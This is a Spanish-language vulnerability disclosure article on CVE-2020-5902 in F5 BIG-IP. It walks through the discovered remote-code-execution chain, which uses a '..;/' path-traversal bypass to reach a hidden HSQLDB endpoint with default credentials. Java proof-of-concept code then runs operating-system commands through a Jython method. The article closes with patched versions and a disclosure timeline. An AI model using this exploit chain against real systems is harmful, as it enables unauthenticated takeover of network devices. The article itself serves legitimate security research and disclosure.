BIG-IP de F5 es un controlador de entrega de aplicaciones popular utilizado por las empresas más grandes del mundo. Durante el análisis de seguridad de este producto, pudimos encontrar la peligrosa vulnerabilidad CVE-2020-5902. Esta falla de seguridad permite a un atacante ejecutar comandos en nombre de un usuario no autorizado y comprometer completamente el sistema, como interceptar el tráfico de recursos web controlados por el controlador.
Según nuestros datos, en junio de 2020, fue posible acceder desde Internet a 8 mil dispositivos que contienen la vulnerabilidad CVE-2020-5902. Su análisis detallado está en nuestro nuevo artículo.
Cuál es el problema
BIG-IP de F5 es un controlador de entrega de aplicaciones popular utilizado por las empresas más grandes del mundo. La vulnerabilidad CVE-2020-5902 recibió una calificación de 10 en la escala CVSS, el nivel de gravedad más alto.
La vulnerabilidad podría permitir que un atacante remoto, incluido un atacante no autenticado con acceso a la utilidad de configuración BIG-IP, ejecute código arbitrario en el software (ejecución remota de código, RCE). Como resultado, un atacante podrá crear o eliminar archivos, deshabilitar servicios, interceptar información, ejecutar comandos arbitrarios del sistema y código Java arbitrario, comprometer completamente el sistema y desarrollar un ataque, por ejemplo, en un segmento de red interno.
Una combinación de fallas de seguridad en múltiples componentes del sistema (por ejemplo, directorio fuera de límites) da como resultado RCE. Las empresas en las que se puede encontrar la interfaz web F5 BIG-IP en motores de búsqueda especiales, como Shodan, corren un riesgo particular, pero debe tenerse en cuenta que no todas las empresas usuarias pueden acceder a la interfaz requerida desde la red global.
Durante el monitoreo de amenazas reales (amenaza inteligencia), encontramos que a finales de junio de 2020, había más de 8 mil dispositivos vulnerables disponibles en Internet en el mundo, de los cuales el 40% estaban en EE. UU., el 16% en China, el 3% en Taiwán, el 2,5% cada uno. en Canadá e Indonesia. En Rusia se detectaron menos del 1% de los dispositivos vulnerables.
Ahora pasemos a la historia de cómo logramos encontrar CVE-2020-5902.
Buscando errores de configuración del servidor web
Instalemos F5 Big-IP en nuestra máquina virtual y obtengamos acceso a su shell de comandos:
Interfaz de línea de comandos F5 Big-IP
Lo primero que debe hacer para comenzar la investigación es mirar todos los puertos abiertos y qué aplicaciones los están usando. Esto identificará todos los posibles puntos de entrada al sistema. Para hacer esto, use el comando netstat:
Encontrar puertos abiertos en el dispositivo
Me gusta analizar aplicaciones web, así que comencemos a analizar la configuración del servidor httpd que escucha en el puerto 443 / tcp.
El archivo más interesante de su configuración es "/etc/httpd/conf.d/proxy_ajp.conf":
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#
#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>
<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>
Contenido del archivo /etc/httpd/conf.d/proxy_ajp.conf
Este archivo configura Apache para que transfiera solicitudes a Apache Tomcat en el puerto local 8009 / tcp a través del protocolo AJP, pero solo si estas solicitudes coinciden con una de las expresiones regulares dadas.
Encontrar una aplicación que escuche en el puerto 8009 / tcp
Es importante consultar aquí la investigación de Orange Tsai sobre cómo hacer que los servidores encadenados manejen las URL de manera diferente. En particular, para nuestro paquete de Apache HTTP Server y Apache Tomcat, puede probar la secuencia de caracteres "..; /":
diapositiva de presentación Orange Tsai
Según este estudio, Apache HTTP Server analizará la secuencia como un nombre de carpeta válido, mientras que Apache Tomcat pensará que esta combinación indica una transición al directorio anterior.
Para comprender si este método funcionará, debe obtener la ruta a uno de los puntos finales ocultos de Tomcat en el archivo de configuración:
…
<servlet-mapping>
<servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
<url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
</servlet-mapping>
…
Un fragmento del archivo de configuración /usr/local/www/tmui/WEB-INF/web.xml
La ruta /tiles/tmui/em_filter.jsp no debe coincidir con las expresiones regulares en el archivo proxy_ajp.conf, así que probamos:
Probando la técnica Orange Tsai
Solicitud normal devuelve un código 404 y una solicitud que utiliza la técnica Orange Tsai devuelve un código 200. Por lo tanto, ahora podemos acceder a cualquier página del servidor Apache Tomcat interno del dispositivo bajo investigación.
Encuentre puntos finales vulnerables de Tomcat
Examinemos la configuración del servidor Apache Tomcat e intentemos encontrar puntos finales vulnerables en él.
Usamos la ruta /tiles/tmui/em_filter.jsp anteriormente, pero ahora intentemos encontrar algo más útil:
…
<servlet>
<servlet-name>hsqldb</servlet-name>
<servlet-class>org.hsqldb.Servlet</servlet-class>
<load-on-startup>3</load-on-startup>
</servlet>
…
<servlet-mapping>
<servlet-name>hsqldb</servlet-name>
<url-pattern>/hsqldb/*</url-pattern>
</servlet-mapping>
…
Fragmento del archivo /usr/local/www/tmui/WEB-INF/web.xml
Me llamó la atención la ruta “/ hsqldb /”, que es procesada por la clase org.hsqldb.Servlet. El acrónimo HSQLDB significa Hyper SQL Database y su ruta / hsqldb / es responsable de proporcionar acceso a la propia base de datos. Comprobemos
si nuestra técnica se puede utilizar para acceder a esta ruta:
Comprobando la disponibilidad de HSQLDB
Así, logramos eludir la autorización y obtener acceso a HSQLDB. El sitio web oficial de HSQLDB tiene una guía sobre cómo conectarse a la base de datos a través de HTTP , y dice que se puede usar un controlador Java especial para conectarse a la base de datos a través de HTTP. Y para conectarse, debe conocer el nombre de usuario y la contraseña de la base de datos.
Usemos la 'técnica dorada' llamada "búsqueda de Google" y busquemos los nombres de usuario y contraseñas predeterminados para HSQLDB:
Google le muestra el nombre de usuario y la contraseña predeterminados directamente en la página de búsqueda.
Ahora escriba una prueba de concepto en Java para probar nuestra suposición de que el controlador HSQLDB puede trabajar con los siguientes datos de inicio de sesión predeterminados:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
Código PoC para conectarse a HSQLDB y solicitar una lista de usuarios de HSQLDB
Resultado de ejecutar el código PoC dado
El código se ejecutó y eliminó al primer usuario de la tabla, lo que significa que ahora podemos ejecutar consultas SQL arbitrarias sin ninguna autenticación en el F5 Big- IP.
Explorando el punto final de HSQLDB
Pasé un poco de tiempo en la documentación de HSQLDB y me decidí por la declaración CALL : se puede usar para ejecutar procedimientos almacenados, incluido cualquier método estático de Java en la ruta de clase HSQLDB.
Consigamos el classpath de HSQLDB:
Solicitud: LLAME "java.lang.System.getProperty" ('java.class.path')
Respuesta: "/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli. jar: / usr / local / www / tmui / WEB-INF / classes "
Esta es exactamente la misma ruta de clase que el servidor Apache Tomcat.
Ahora necesitamos encontrar cualquier método estático que permita la ejecución remota de código. Después de una breve búsqueda en el archivo tmui.jar en la clase com.f5.view.web.pagedefinition.shuffler.Scripting, encontré el método setRequestContext:
public static void setRequestContext(String object, String screen)
{
PyObject current = getInterpreter().eval(object + "__" + screen + "()");
currentObject.set(current);
}
Intentando llamar a este método con datos arbitrarios:
Solicitud: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('aa', 'bb')
Respuesta: "NameError: aa__bb",
Vemos que entramos en el contexto de la ejecución del código Python y pasamos los datos incorrectos.
Intentamos importar el módulo "os" y llamar a la función del sistema:
Solicitud: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('__ import __ ("os"). System () #', '# 11')
Respuesta: "ImportError: ningún módulo llamado javaos"
Busque en Google el error y descubra que este es un comportamiento típico en el lenguaje Jython.
Intentamos ejecutar el comando de otra manera:
Solicitud: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ('Runtime.getRuntime (). Exec ("ls") #', '#')
Respuesta: nula
Obtuvimos un valor nulo de esta solicitud, que nos informa sobre la ejecución exitosa del comando. Ahora, recopilemos el código PoC final que enviará una solicitud dns si el servidor es vulnerable:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
Y obtendremos RCE en nuestro F5 Big-IP, usando comandos para shell inverso:
Accediendo a F5 Big-IP a través de la cadena descubierta de vulnerabilidades
Resumen
Obtuvimos el RCE de un usuario no autorizado en tres sencillos pasos:
- Se encontró un error en la configuración del servidor Apache HTTP y Apache Tomcat
- Usó la contraseña predeterminada para HSQLDB
- Usó métodos estáticos no obvios en el código de la biblioteca F5 Big-IP
Cómo protegerse
Para corregir la vulnerabilidad, debe actualizar el sistema a la última versión: las versiones vulnerables de BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) deben reemplazarse con las versiones en las que se ha corregido la vulnerabilidad ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Para los usuarios de mercados de nube pública (AWS, Azure, GCP y Alibaba), debe utilizar BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 o 15.1.0.4), siempre que estén disponibles en estos mercados. Se proporciona más orientación en el Aviso F5 BIG-IP .
Autor : Mikhail Klyuchnikov (@ __mn1__ ), Positive Technologies
Línea de tiempo:
- 1 de abril de 2020: se ha enviado información sobre vulnerabilidades a F5 Networks
- 3 de abril de 2020: el equipo F5 pudo reproducir vulnerabilidades
- 1 July, 2020 — Security Advisory